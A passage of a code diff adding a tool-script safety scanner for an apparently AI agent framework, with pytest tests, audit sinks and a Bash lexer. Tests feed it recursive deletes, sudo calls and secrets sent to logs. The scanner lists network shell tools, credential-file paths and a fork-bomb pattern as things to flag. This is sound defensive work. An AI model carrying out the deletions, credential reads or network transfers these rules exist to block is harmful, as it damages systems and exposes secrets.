os\nv=os.environ['API_TOKEN']\nprint(v)\n" + report = scan(guard, script) + assert "SECRET001_LOG_SINK" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_secret_to_log_denies(guard): + script = ( + "import os, logging\n" + "logging.basicConfig()\n" + "log = logging.getLogger('x')\n" + "secret = os.environ['PASSWORD']\n" + "log.info('pwd=%s', secret)\n" + ) + report = scan(guard, script) + assert "SECRET001_LOG_SINK" in report.rule_ids + + +def test_dynamic_exec_eval_denies(guard): + report = scan(guard, "eval('1+1')\n") + assert "OBF001_DYNAMIC_EXEC" in report.rule_ids + assert report.decision != SafetyDecision.ALLOW + + +def test_dynamic_command_review(guard): + script = ( + "import subprocess\n" + "cmd = input()\n" + "subprocess.run(cmd)\n" + ) + report = scan(guard, script) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "PROC001_PROCESS_EXEC" in report.rule_ids + + +def test_safe_script_allows(guard): + report = scan(guard, "import os\nprint(os.getcwd())\n") + assert report.decision == SafetyDecision.ALLOW + + +def test_syntax_error_yields_review(guard): + report = scan(guard, "def (\n") + assert "PARSE001_UNCERTAIN" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +def test_script_too_large_fail_closed(strict_policy_dict): + strict = strict_policy_dict.copy() + strict["limits"] = dict(strict["limits"]) + strict["limits"]["max_script_bytes"] = 16 + g = ToolSafetyGuard(load_safety_policy_dict(strict)) + report = scan(g, "a" * 200) + assert report.decision == SafetyDecision.DENY + assert "GUARD001_INTERNAL_ERROR" in report.rule_ids + + +def test_privilege_escalation_denies(guard): + script = "import subprocess\nsubprocess.run(['sudo', 'ls'])\n" + report = scan(guard, script) + assert "PROC004_PRIVILEGE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_rule_override_changes_decision(strict_policy_dict): + policy_dict = strict_policy_dict.copy() + policy_dict["rule_overrides"] = {"DEP001_ENV_MUTATION": "allow"} + g = ToolSafetyGuard(load_safety_policy_dict(policy_dict)) + script = "import subprocess\nsubprocess.run(['pip', 'install', 'numpy'])\n" + report = scan(g, script) + # PROC001 may still flag because pip isn't in allow list, but the + # dependency rule should not be present. + assert "DEP001_ENV_MUTATION" not in report.rule_ids diff --git a/tests/tool_safety/test_redaction.py b/tests/tool_safety/test_redaction.py new file mode 100644 index 00000000..5ad09940 --- /dev/null +++ b/tests/tool_safety/test_redaction.py @@ -0,0 +1,72 @@ +"""Tests for redaction.""" + +from __future__ import annotations + +import json + +from tool.safety._redaction import Redactor +from tool.safety._models import ScriptLanguage + + +def test_env_value_redacted(): + redactor = Redactor(env_values=["super-secret-value"]) + out = redactor.redact("payload=super-secret-value") + assert "super-secret-value" not in out + assert " str: + calls.append(script) + return "ok" + + wrapped = SafetyWrappedCallable( + guard, delegate, + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_kw="script", + ) + assert wrapped(script="print('hi')") == "ok" + assert calls == ["print('hi')"] + + +def test_wrapped_callable_blocks_danger(guard): + def delegate(script: str) -> str: + return "ran" + + wrapped = SafetyWrappedCallable( + guard, delegate, + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_kw="script", + ) + with pytest.raises(BlockedExecutionError): + wrapped(script="import shutil\nshutil.rmtree('/x')") + + +def test_wrapped_callable_supports_positional(guard): + def delegate(script: str) -> str: + return f"got:{script}" + + wrapped = SafetyWrappedCallable( + guard, delegate, + tool_name="python_exec", + language=ScriptLanguage.PYTHON, + script_pos=0, + ) + assert wrapped("print(1)") == "got:print(1)" + + +def test_executor_allow_delegates(guard): + class FakeInput: + code_blocks = [type("Block", (), {"code": "print('a')"})()] + + class FakeResult: + outcome = "SUCCESS" + output = "x" * 100 + + class FakeExecutor: + async def execute_code(self, inp): + assert inp is fake_input + return FakeResult() + + delegate = FakeExecutor() + wrapped = SafetyCheckedExecutor(guard, delegate, + audit_sink=InMemoryAuditSink()) + fake_input = FakeInput() + result = asyncio.run(wrapped.execute_code(fake_input)) # noqa: F821 + assert result.outcome == "SUCCESS" + + +def test_executor_deny_does_not_delegate(guard): + class FakeInput: + code_blocks = [type("Block", (), + {"code": "import shutil\nshutil.rmtree('/x')"})()] + + called = [] + + class FakeExecutor: + async def execute_code(self, inp): + called.append(True) + return None + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert called == [] + assert "blocked" in result.output or "tool.safety" in result.output + + +def test_executor_truncates_output(guard): + class FakeInput: + code_blocks = [type("Block", (), {"code": "print('hi')"})()] + + class FakeResult: + outcome = "SUCCESS" + output = "x" * 4096 + + class FakeExecutor: + async def execute_code(self, inp): + return FakeResult() + + wrapped = SafetyCheckedExecutor(guard, FakeExecutor(), + audit_sink=InMemoryAuditSink()) + result = asyncio.run(wrapped.execute_code(FakeInput())) # noqa: F821 + assert len(result.output) < 4096 + + +# Need asyncio.run helper +import asyncio # noqa: E402 diff --git a/tool/__init__.py b/tool/__init__.py new file mode 100644 index 00000000..611bdea4 --- /dev/null +++ b/tool/__init__.py @@ -0,0 +1,71 @@ +"""Top-level package for the standalone Tool Script Safety Guard reference. + +This package is deliberately self-contained. It must not import from +``trpc_agent_sdk`` so that it can be reused, audited, and tested in isolation. +The framework integration points (Tool Filter, CodeExecutor wrapper) consume +the public surface exported here without modifying existing SDK files. +""" + +from tool.safety._exceptions import ( + SafetyAuditError, + SafetyPolicyError, + SafetyGuardError, + SafetyScannerError, +) +from tool.safety._models import ( + Evidence, + RiskCategory, + RiskLevel, + SafetyAuditEvent, + SafetyDecision, + SafetyFinding, + SafetyReport, + SafetyScanRequest, + ScriptLanguage, + ToolKind, +) +from tool.safety._policy import ( + ToolSafetyPolicy, + load_safety_policy, +) +from tool.safety._guard import ToolSafetyGuard +from tool.safety._rules import SafetyRule, default_rules +from tool.safety._audit import AuditSink, InMemoryAuditSink, JsonlAuditSink +from tool.safety._tool_adapter import ( + ToolInputAdapter, + ToolRequestError, + build_default_adapters, +) +from tool.safety._filter import ToolScriptSafetyFilter +from tool.wrapper import SafetyCheckedExecutor, SafetyWrappedCallable + +__all__ = [ + "AuditSink", + "Evidence", + "InMemoryAuditSink", + "JsonlAuditSink", + "RiskCategory", + "RiskLevel", + "SafetyAuditError", + "SafetyAuditEvent", + "SafetyCheckedExecutor", + "SafetyDecision", + "SafetyFinding", + "SafetyGuardError", + "SafetyPolicyError", + "SafetyReport", + "SafetyRule", + "SafetyScanRequest", + "SafetyScannerError", + "SafetyWrappedCallable", + "ScriptLanguage", + "ToolInputAdapter", + "ToolKind", + "ToolRequestError", + "ToolSafetyGuard", + "ToolSafetyPolicy", + "ToolScriptSafetyFilter", + "build_default_adapters", + "default_rules", + "load_safety_policy", +] diff --git a/tool/safety/__init__.py b/tool/safety/__init__.py new file mode 100644 index 00000000..c7aaa01e --- /dev/null +++ b/tool/safety/__init__.py @@ -0,0 +1,62 @@ +"""Standalone Tool Script Safety Guard. + +Public surface is exported via :mod:`tool`. Internal modules are private. +""" + +from tool.safety._exceptions import ( + SafetyAuditError, + SafetyGuardError, + SafetyPolicyError, + SafetyScannerError, +) +from tool.safety._models import ( + Evidence, + RiskCategory, + RiskLevel, + SafetyAuditEvent, + SafetyDecision, + SafetyFinding, + SafetyReport, + SafetyScanRequest, + ScriptLanguage, + ToolKind, +) +from tool.safety._policy import ToolSafetyPolicy, load_safety_policy +from tool.safety._guard import ToolSafetyGuard +from tool.safety._rules import SafetyRule, default_rules +from tool.safety._audit import AuditSink, InMemoryAuditSink, JsonlAuditSink +from tool.safety._tool_adapter import ( + ToolInputAdapter, + ToolRequestError, + build_default_adapters, +) +from tool.safety._filter import ToolScriptSafetyFilter + +__all__ = [ + "AuditSink", + "Evidence", + "InMemoryAuditSink", + "JsonlAuditSink", + "RiskCategory", + "RiskLevel", + "SafetyAuditError", + "SafetyAuditEvent", + "SafetyDecision", + "SafetyFinding", + "SafetyGuardError", + "SafetyPolicyError", + "SafetyReport", + "SafetyRule", + "SafetyScanRequest", + "SafetyScannerError", + "ScriptLanguage", + "ToolInputAdapter", + "ToolKind", + "ToolRequestError", + "ToolSafetyGuard", + "ToolSafetyPolicy", + "ToolScriptSafetyFilter", + "build_default_adapters", + "default_rules", + "load_safety_policy", +] diff --git a/tool/safety/_audit.py b/tool/safety/_audit.py new file mode 100644 index 00000000..05621e84 --- /dev/null +++ b/tool/safety/_audit.py @@ -0,0 +1,94 @@ +"""Audit sinks for persisted scan decisions. + +All sinks receive a fully redacted :class:`SafetyAuditEvent`. The JSONL +sink performs short blocking appends inside ``asyncio.to_thread`` so the +calling Filter does not stall on disk I/O during request handling. + +When ``audit.required`` is true the surrounding adapter treats an emit +failure as fail-closed: the safety filter blocks the request even when +the scanner returned ``allow``. +""" + +from __future__ import annotations + +import asyncio +import json +import os +import threading +from typing import Protocol, runtime_checkable + +from tool.safety._exceptions import SafetyAuditError +from tool.safety._models import SafetyAuditEvent + + +@runtime_checkable +class AuditSink(Protocol): + """Async protocol. ``emit`` must not raise except for audit errors.""" + + async def emit(self, event: SafetyAuditEvent) -> None: ... + + +class InMemoryAuditSink: + """Test-only sink that keeps events in a list.""" + + def __init__(self) -> None: + self._events: list[SafetyAuditEvent] = [] + self._lock = threading.Lock() + + async def emit(self, event: SafetyAuditEvent) -> None: + loop = asyncio.get_running_loop() + await loop.run_in_executor(None, self._append, event) + + def _append(self, event: SafetyAuditEvent) -> None: + with self._lock: + self._events.append(event) + + @property + def events(self) -> tuple[SafetyAuditEvent, ...]: + with self._lock: + return tuple(self._events) + + def clear(self) -> None: + with self._lock: + self._events.clear() + + +class JsonlAuditSink: + """Append-only JSON Lines sink. + + ``path`` is opened in append-binary mode for every event so concurrent + processes do not clobber each other. The short critical section keeps + lock contention low while still ordering writes from one process. + """ + + def __init__(self, path: str | os.PathLike[str]) -> None: + self._path = os.fspath(path) + self._lock = asyncio.Lock() + self._thread_lock = threading.Lock() + + async def emit(self, event: SafetyAuditEvent) -> None: + payload = json.dumps( + event.model_dump(mode="json"), sort_keys=True, + separators=(",", ":"), ensure_ascii=False, + ) + "\n" + try: + await asyncio.to_thread(self._write, payload) + except OSError as exc: + raise SafetyAuditError( + f"failed to write audit event to {self._path}: {exc}" + ) from exc + + def _write(self, payload: str) -> None: + with self._thread_lock: + with open(self._path, "a", encoding="utf-8") as handle: + handle.write(payload) + + +class _NullAuditSink: + """No-op sink for environments that disable audit entirely.""" + + async def emit(self, event: SafetyAuditEvent) -> None: # pragma: no cover + return None + + +NullAuditSink = _NullAuditSink diff --git a/tool/safety/_bash_scanner.py b/tool/safety/_bash_scanner.py new file mode 100644 index 00000000..8410e1ca --- /dev/null +++ b/tool/safety/_bash_scanner.py @@ -0,0 +1,749 @@ +"""Conservative Bash lexer that extracts ScriptFacts. + +This is intentionally a *lexer-lite*: it tracks quote state and source +offsets, splits commands at the usual shell separators, and inspects +each command's tokens for patterns we care about. It deliberately does +not run the shell, expand variables, or follow redirects. + +Anything the lexer cannot understand (unbalanced quotes, unsupported +substitution form) becomes a ``PARSE001_UNCERTAIN`` finding so the +uncertainty is visible rather than silently treated as safe. +""" + +from __future__ import annotations + +import re +from typing import Iterator + +from tool.safety._facts import ( + ConcurrencyFact, + DependencyInstallFact, + DynamicExecFact, + FileDeleteFact, + FileReadFact, + FileWriteFact, + ForkBombFact, + LargeWriteFact, + Loc, + LongSleepFact, + NetworkFact, + ParseErrorFact, + PrivilegeFact, + ProcessFact, + ScriptFacts, + SecretFlowFact, + ShellOperatorFact, + UnboundedLoopFact, +) +from tool.safety._models import ScriptLanguage +from tool.safety._rules import _LanguageScannerRule, SafetyRule + + +# --------------------------------------------------------------------------- # +# Constants +# --------------------------------------------------------------------------- # + +_NETWORK_COMMANDS = {"curl", "wget", "nc", "ncat", "ssh", "scp", "sftp", + "telnet", "ftp", "ncat"} +_FILE_READ_COMMANDS = {"cat", "head", "tail", "less", "more", "view", + "grep", "egrep", "fgrep", "rg", "ack", "sed", "awk", + "xxd", "od", "cut", "sort"} +_FILE_WRITE_COMMANDS = {"tee", "dd", "install", "cp", "mv"} +_PRIVILEGE_COMMANDS = {"sudo", "su", "doas", "pkexec", "super"} +_PACKAGE_MANAGERS = { + "pip": ("install",), + "pip3": ("install",), + "npm": ("install", "i", "add"), + "yarn": ("add", "install"), + "pnpm": ("add", "install"), + "apt": ("install",), + "apt-get": ("install",), + "apk": ("add",), + "yum": ("install",), + "dnf": ("install",), + "brew": ("install",), + "conda": ("install", "create"), +} +_INTERPRETERS = {"python", "python3", "python2", "bash", "sh", "zsh", + "perl", "ruby", "node"} + +_SEPARATORS = ("&&", "||", "|", ";", "\n") +_REDIRECTION_RE = re.compile(r"(?:>>|>|<|<<|<<<|<>|&>|\d?>|\d<)\s*(\S+)") +_FORK_BOMB_RE = re.compile( + r":\(\)\s*\{\s*:\s*[|&]+\s*:\s*&?\s*\}\s*;?\s*:?", + re.MULTILINE, +) +_URL_RE = re.compile(r"\bhttps?://([^/\s:]+)", re.IGNORECASE) +_WHILE_TRUE_RE = re.compile(r"\bwhile\s+(?:true|:|\[\s*\[\s*1\s*\]\s*\]\s*)", + re.IGNORECASE) +_FOR_INF_RE = re.compile(r"\bfor\s*\(\(\s*;;\s*\)\)", re.IGNORECASE) +_SLEEP_RE = re.compile(r"\bsleep\s+([0-9]+[smhd]?)", re.IGNORECASE) +_BG_COUNT_RE = re.compile(r"&") + + +# --------------------------------------------------------------------------- # +# Tokenizer +# --------------------------------------------------------------------------- # + +class _Token: + __slots__ = ("text", "line", "col", "was_quoted") + + def __init__(self, text: str, *, line: int, col: int, + was_quoted: bool = False) -> None: + self.text = text + self.line = line + self.col = col + self.was_quoted = was_quoted + + def __repr__(self) -> str: # pragma: no cover - debug helper + return f"Token({self.text!r}@{self.line}:{self.col})" + + +class _BashLexer: + """Split a script into (separator, [tokens]) command groups. + + The lexer preserves quote state so that ``'; rm -rf /'`` stays inside + a quoted argument and is not mistaken for a separator. + """ + + def __init__(self, source: str) -> None: + self.source = source + self.position = 0 + self.line = 1 + self.col = 1 + + def tokenize(self) -> tuple[list[tuple[str, int, int, list[_Token]]], + list[ParseErrorFact]]: + """Return (commands, errors). + + Each command is a tuple of ``(separator_preceding, line, col, + tokens)``. The separator helps callers know whether the command + was chained by ``&&``, ``|``, etc. + """ + + commands: list[tuple[str, int, int, list[_Token]]] = [] + errors: list[ParseErrorFact] = [] + current: list[_Token] = [] + current_op = "" + current_line = 1 + current_col = 1 + started = False + + while self.position < len(self.source): + ch = self.source[self.position] + if ch == "#": + # Comment to end of line. A leading '#' outside quotes is + # always a comment in shell grammar. + while self.position < len(self.source) \ + and self.source[self.position] != "\n": + self._advance() + continue + if ch == "\n": + self._advance() + if current: + commands.append((current_op, current_line, current_col, + current)) + current = [] + current_op = "\n" + current_line = self.line + current_col = self.col + started = False + continue + if ch in " \t": + self._advance() + continue + # Check for separator (but only when not quoted) + for sep in ("&&", "||", "|", ";", "&"): + if self.source.startswith(sep, self.position): + if current: + commands.append((current_op, current_line, + current_col, current)) + current = [] + for _ in sep: + self._advance() + current_op = sep + current_line = self.line + current_col = self.col + started = False + break + else: + # Read a token + if not started: + current_line = self.line + current_col = self.col + started = True + token_text, quoted, err = self._read_token() + if err: + errors.append(err) + if token_text: + current.append(_Token(token_text, line=self.line, + col=self.col, was_quoted=quoted)) + continue + if current: + commands.append((current_op, current_line, current_col, current)) + return commands, errors + + def _advance(self) -> None: + ch = self.source[self.position] + self.position += 1 + if ch == "\n": + self.line += 1 + self.col = 1 + else: + self.col += 1 + + def _read_token(self) -> tuple[str, bool, ParseErrorFact | None]: + """Read one shell token. + + Returns (text, was_quoted, error). Sets ``was_quoted`` to True if + the token had any quote/backtick layer; this lets callers skip + separator detection inside already-consumed text. + """ + + buf: list[str] = [] + quoted = False + quote_char = "" + err: ParseErrorFact | None = None + start_line = self.line + start_col = self.col + while self.position < len(self.source): + ch = self.source[self.position] + if not quote_char: + if ch in " \t\n": + break + if ch in ("&", "|", ";"): + break + if ch in ("'", '"', "`"): + quote_char = ch + quoted = True + self._advance() + continue + if ch == "\\": + self._advance() + if self.position < len(self.source): + nxt = self.source[self.position] + buf.append(nxt) + self._advance() + continue + if ch == "$" and self.position + 1 < len(self.source) \ + and self.source[self.position + 1] == "(": + # $( ... ) command substitution + quoted = True + buf.append("$(") + self._advance() + self._advance() + depth = 1 + while self.position < len(self.source) and depth > 0: + cur = self.source[self.position] + if cur == "(": + depth += 1 + elif cur == ")": + depth -= 1 + buf.append(cur) + self._advance() + continue + buf.append(ch) + self._advance() + else: + if ch == quote_char: + quote_char = "" + self._advance() + continue + if quote_char == "'" or quote_char == "`": + buf.append(ch) + self._advance() + else: + if ch == "\\" and self.position + 1 < len(self.source): + nxt = self.source[self.position + 1] + buf.append(nxt) + self._advance() + self._advance() + continue + buf.append(ch) + self._advance() + if quote_char: + err = ParseErrorFact( + snippet=f"unbalanced {quote_char}", + loc=Loc(line=start_line, column=start_col), + message=f"unbalanced quote {quote_char!r}", + ) + return ("".join(buf), quoted, err) + + +# --------------------------------------------------------------------------- # +# Scanner +# --------------------------------------------------------------------------- # + +class _BashScanner: + def __init__(self, source: str) -> None: + self.source = source + self.lexer = _BashLexer(source) + # Accumulators + self.file_deletes: list[FileDeleteFact] = [] + self.file_writes: list[FileWriteFact] = [] + self.file_reads: list[FileReadFact] = [] + self.network_calls: list[NetworkFact] = [] + self.process_calls: list[ProcessFact] = [] + self.shell_operators: list[ShellOperatorFact] = [] + self.privilege_commands: list[PrivilegeFact] = [] + self.dependency_installs: list[DependencyInstallFact] = [] + self.unbounded_loops: list[UnboundedLoopFact] = [] + self.fork_bombs: list[ForkBombFact] = [] + self.long_sleeps: list[LongSleepFact] = [] + self.concurrency: list[ConcurrencyFact] = [] + self.large_writes: list[LargeWriteFact] = [] + self.secret_flows: list[SecretFlowFact] = [] + self.dynamic_execs: list[DynamicExecFact] = [] + + def scan(self) -> ScriptFacts: + commands, errors = self.lexer.tokenize() + # Fork-bomb detection runs over the whole source. + for match in _FORK_BOMB_RE.finditer(self.source): + self.fork_bombs.append(ForkBombFact( + snippet=match.group(0), + loc=Loc(line=_line_of(self.source, match.start()), + column=_col_of(self.source, match.start())), + pattern="classic_bomb", + )) + for match in _WHILE_TRUE_RE.finditer(self.source): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=match.group(0), + loc=Loc(line=_line_of(self.source, match.start()), + column=_col_of(self.source, match.start())), + kind="while-true", + )) + for match in _FOR_INF_RE.finditer(self.source): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=match.group(0), + loc=Loc(line=_line_of(self.source, match.start()), + column=_col_of(self.source, match.start())), + kind="for-infinite", + )) + for match in _SLEEP_RE.finditer(self.source): + raw = match.group(1) + duration = _parse_sleep(raw) + self.long_sleeps.append(LongSleepFact( + snippet=match.group(0), + loc=Loc(line=_line_of(self.source, match.start()), + column=_col_of(self.source, match.start())), + duration_seconds=duration, + raw=raw, + )) + # Background count + bg_count = self.source.count("&") - self.source.count("&&") + # Heuristic: many & in script -> high concurrency + if bg_count >= 8: + self.concurrency.append(ConcurrencyFact( + snippet=f"<{bg_count} background jobs>", + loc=Loc(), + count=bg_count, + raw="background-jobs", + )) + + for op, line, col, tokens in commands: + if op in ("&&", "||", "|", "&"): + self.shell_operators.append(ShellOperatorFact( + snippet=op, + loc=Loc(line=line, column=col), + operator=op, + )) + if not tokens: + continue + self._handle_command(op, line, col, tokens) + + return ScriptFacts( + language=ScriptLanguage.BASH, + file_deletes=tuple(self.file_deletes), + file_writes=tuple(self.file_writes), + file_reads=tuple(self.file_reads), + network_calls=tuple(self.network_calls), + process_calls=tuple(self.process_calls), + shell_operators=tuple(self.shell_operators), + privilege_commands=tuple(self.privilege_commands), + dependency_installs=tuple(self.dependency_installs), + unbounded_loops=tuple(self.unbounded_loops), + fork_bombs=tuple(self.fork_bombs), + long_sleeps=tuple(self.long_sleeps), + concurrency=tuple(self.concurrency), + large_writes=tuple(self.large_writes), + secret_flows=tuple(self.secret_flows), + dynamic_execs=tuple(self.dynamic_execs), + parse_errors=tuple(errors), + ) + + # ----- per-command ----- # + + def _handle_command(self, preceding_op: str, line: int, col: int, + tokens: list[_Token]) -> None: + executable = tokens[0].text + argv = [t.text for t in tokens[1:]] + snippet = self._segment_for(line, col) + loc = Loc(line=line, column=col) + + # Strip leading env var assignments (FOO=bar cmd ...) + while "=" in executable and not executable.startswith("-"): + if not _looks_like_env_assignment(executable): + break + if len(tokens) < 2: + return + tokens = tokens[1:] + executable = tokens[0].text + argv = [t.text for t in tokens[1:]] + + exec_lower = executable.lower() + + # Privilege + if exec_lower in _PRIVILEGE_COMMANDS: + self.privilege_commands.append(PrivilegeFact( + snippet=snippet, loc=loc, command=exec_lower, + )) + if tokens[1:]: + executable = tokens[1].text + exec_lower = executable.lower() + argv = [t.text for t in tokens[2:]] + + # rm with -rf/-fr + if exec_lower == "rm": + self._handle_rm(argv, snippet, loc) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=False, + )) + return + + # curl/wget/nc/ssh + if exec_lower in _NETWORK_COMMANDS: + self._handle_network(argv, exec_lower, snippet, loc) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # File reads + if exec_lower in _FILE_READ_COMMANDS: + self._handle_file_read(argv, exec_lower, snippet, loc) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # File writes + if exec_lower in _FILE_WRITE_COMMANDS: + self._handle_file_write(argv, exec_lower, snippet, loc) + + # Package managers + if exec_lower in _PACKAGE_MANAGERS: + install_sub = _PACKAGE_MANAGERS[exec_lower] + if argv and argv[0] in install_sub: + self.dependency_installs.append(DependencyInstallFact( + snippet=snippet, loc=loc, manager=exec_lower, + command=" ".join([executable] + argv), + )) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # eval / bash -c / sh -c + if exec_lower == "eval": + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind="eval", + )) + return + if exec_lower in ("bash", "sh", "zsh") and argv and argv[0] == "-c": + self.dynamic_execs.append(DynamicExecFact( + snippet=snippet, loc=loc, kind=f"{exec_lower}-c", + )) + if len(argv) > 1: + self.shell_operators.append(ShellOperatorFact( + snippet=argv[1][:40], + loc=loc, + operator=f"{exec_lower} -c", + )) + return + + # sleep + if exec_lower == "sleep": + raw = argv[0] if argv else "" + duration = _parse_sleep(raw) + self.long_sleeps.append(LongSleepFact( + snippet=snippet, loc=loc, + duration_seconds=duration, raw=raw, + )) + return + + # dd/fallocate large writes + if exec_lower in {"dd", "fallocate", "truncate"}: + size = _extract_dd_size(argv) + target = _extract_dd_target(argv) + self.large_writes.append(LargeWriteFact( + snippet=snippet, loc=loc, size=size, + target=target, raw=executable, + )) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # echo / printf with secret env reference + if exec_lower in {"echo", "printf"}: + for arg in argv: + if _looks_like_secret_ref(arg): + self.secret_flows.append(SecretFlowFact( + snippet=snippet, loc=loc, + source=arg, sink=exec_lower, + sink_kind="output", + )) + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + return + + # Generic process call + self.process_calls.append(ProcessFact( + snippet=snippet, loc=loc, command=executable, + shell=None, has_operators=preceding_op in ("|", "&", "&&", "||"), + )) + + # Check for URL in any argument (catch-all for http(s)://) + for arg in argv: + for match in _URL_RE.finditer(arg): + host = match.group(1) + self.network_calls.append(NetworkFact( + snippet=snippet, loc=loc, + target=host, library=exec_lower, + dynamic=False, + )) + + # Check for redirects in raw tokens (>> target, > target) + for token in tokens: + if token.text in (">", ">>") or token.text.startswith(">"): + continue + # Inspect source line for redirection targets + for match in _REDIRECTION_RE.finditer(self._source_line(line)): + target = match.group(1).strip() + if target and not target.startswith("&"): + self.file_writes.append(FileWriteFact( + snippet=snippet, loc=loc, target=target, mode="w", + explicit=True, + )) + + def _handle_rm(self, argv: list[str], snippet: str, loc: Loc) -> None: + recursive = False + explicit_target = "" + for arg in argv: + if arg in ("-r", "-R", "--recursive", "-rf", "-fr", "-Rf", + "-rF", "-rfv", "-frv"): + recursive = True + continue + if arg.startswith("-"): + continue + explicit_target = arg + self.file_deletes.append(FileDeleteFact( + snippet=snippet, loc=loc, + target=explicit_target or "", + recursive=recursive, + explicit=bool(explicit_target), + )) + + def _handle_network(self, argv: list[str], command: str, + snippet: str, loc: Loc) -> None: + for arg in argv: + if arg.startswith("-"): + continue + match = _URL_RE.match(arg) if "://" in arg else None + if match: + host = match.group(1) + self.network_calls.append(NetworkFact( + snippet=snippet, loc=loc, + target=host, library=command, + dynamic=False, + )) + return + # Plain hostname argument (curl example.com) + if _looks_like_host(arg): + self.network_calls.append(NetworkFact( + snippet=snippet, loc=loc, + target=arg.lower(), library=command, + dynamic=False, + )) + return + # Dynamic + if arg.startswith("$") or "$(" in arg or "`" in arg: + self.network_calls.append(NetworkFact( + snippet=snippet, loc=loc, + target="", library=command, + dynamic=True, + )) + return + + def _handle_file_read(self, argv: list[str], command: str, + snippet: str, loc: Loc) -> None: + for arg in argv: + if arg.startswith("-"): + continue + kind = "regular" + lowered = arg.lower() + if ".ssh" in lowered or "id_rsa" in lowered \ + or "id_ecdsa" in lowered or "id_ed25519" in lowered \ + or "credentials" in lowered or ".netrc" in lowered \ + or "kubeconfig" in lowered or ".aws/credentials" in lowered \ + or lowered.endswith(".pem") or lowered.endswith(".key") \ + or lowered.endswith(".p12"): + kind = "credential" + if lowered.endswith(".env") or ".env" in lowered: + kind = "dotenv" + if kind != "regular": + self.file_reads.append(FileReadFact( + snippet=snippet, loc=loc, + target=arg, kind=kind, explicit=True, + )) + + def _handle_file_write(self, argv: list[str], command: str, + snippet: str, loc: Loc) -> None: + # tee / dd / cp / mv / install + targets: list[str] = [] + if command == "tee": + for arg in argv: + if arg.startswith("-"): + continue + targets.append(arg) + elif command in {"cp", "mv", "install"}: + if len(argv) >= 2: + targets.append(argv[-1]) + elif command == "dd": + target = _extract_dd_target(argv) + if target: + targets.append(target) + for target in targets: + self.file_writes.append(FileWriteFact( + snippet=snippet, loc=loc, + target=target, mode="w", explicit=True, + )) + + def _segment_for(self, line: int, col: int) -> str: + # Cheap approximation: return the source line. + return self._source_line(line) + + def _source_line(self, line: int) -> str: + if line <= 0: + return "" + try: + return self.source.splitlines()[line - 1] + except IndexError: + return "" + + +# --------------------------------------------------------------------------- # +# Helpers +# --------------------------------------------------------------------------- # + +def _line_of(source: str, offset: int) -> int: + return source.count("\n", 0, offset) + 1 + + +def _col_of(source: str, offset: int) -> int: + last_nl = source.rfind("\n", 0, offset) + return offset - last_nl + + +def _parse_sleep(raw: str) -> float | None: + if not raw: + return None + if raw.isdigit(): + return float(raw) + mult = {"s": 1, "m": 60, "h": 3600, "d": 86400} + if len(raw) >= 2 and raw[-1].lower() in mult and raw[:-1].isdigit(): + return float(raw[:-1]) * mult[raw[-1].lower()] + return None + + +def _extract_dd_size(argv: list[str]) -> int | None: + for arg in argv: + if arg.startswith("bs=") or arg.startswith("count="): + continue + # bs=SIZE count=N + bs: int | None = None + count: int | None = None + for arg in argv: + if arg.startswith("bs="): + bs = _parse_dd_size_value(arg[3:]) + elif arg.startswith("count="): + try: + count = int(arg[6:]) + except ValueError: + count = None + if bs is not None and count is not None: + return bs * count + return None + + +def _parse_dd_size_value(text: str) -> int | None: + text = text.strip() + if text.isdigit(): + return int(text) + mult = {"c": 1, "w": 2, "b": 512, "kB": 1000, "K": 1024, + "MB": 1000 * 1000, "M": 1024 * 1024, + "GB": 10**9, "G": 1024 * 1024 * 1024} + for suffix, value in mult.items(): + if text.endswith(suffix): + head = text[:-len(suffix)] + if head.isdigit(): + return int(head) * value + return None + + +def _extract_dd_target(argv: list[str]) -> str: + for arg in argv: + if arg.startswith("of="): + return arg[3:] + return "" + + +def _looks_like_env_assignment(text: str) -> bool: + if "=" not in text: + return False + name = text.split("=", 1)[0] + return bool(name) and name.replace("_", "").isalnum() and \ + not name.startswith("-") and not name.startswith("(") + + +def _looks_like_host(text: str) -> bool: + if not text: + return False + if text.startswith("-"): + return False + return bool(re.match(r"^[A-Za-z0-9_.-]+(?:\.[A-Za-z0-9_.-]+)+$", text)) + + +def _looks_like_secret_ref(text: str) -> bool: + return bool(re.search(r"\$\{?[A-Za-z_][A-Za-z0-9_]*" + r"(KEY|TOKEN|PASSWORD|SECRET|CREDENTIAL)", + text, re.IGNORECASE)) + + +# --------------------------------------------------------------------------- # +# Rule +# --------------------------------------------------------------------------- # + +class BashScannerRule(_LanguageScannerRule, SafetyRule): + """Rule that runs the Bash scanner once and evaluates the catalog.""" + + rule_id = "bash_scanner" + + def __init__(self) -> None: + super().__init__(ScriptLanguage.BASH) + + def _extract(self, request) -> ScriptFacts: # type: ignore[override] + return _BashScanner(request.script).scan() + + +def scan_bash(source: str) -> ScriptFacts: + """Public entry for tests that want raw facts.""" + + return _BashScanner(source).scan() diff --git a/tool/safety/_cross_field_scanner.py b/tool/safety/_cross_field_scanner.py new file mode 100644 index 00000000..2b9eee0a --- /dev/null +++ b/tool/safety/_cross_field_scanner.py @@ -0,0 +1,296 @@ +"""Cross-field scanner that correlates request fields. + +Looks at argv, cwd, env, timeout, 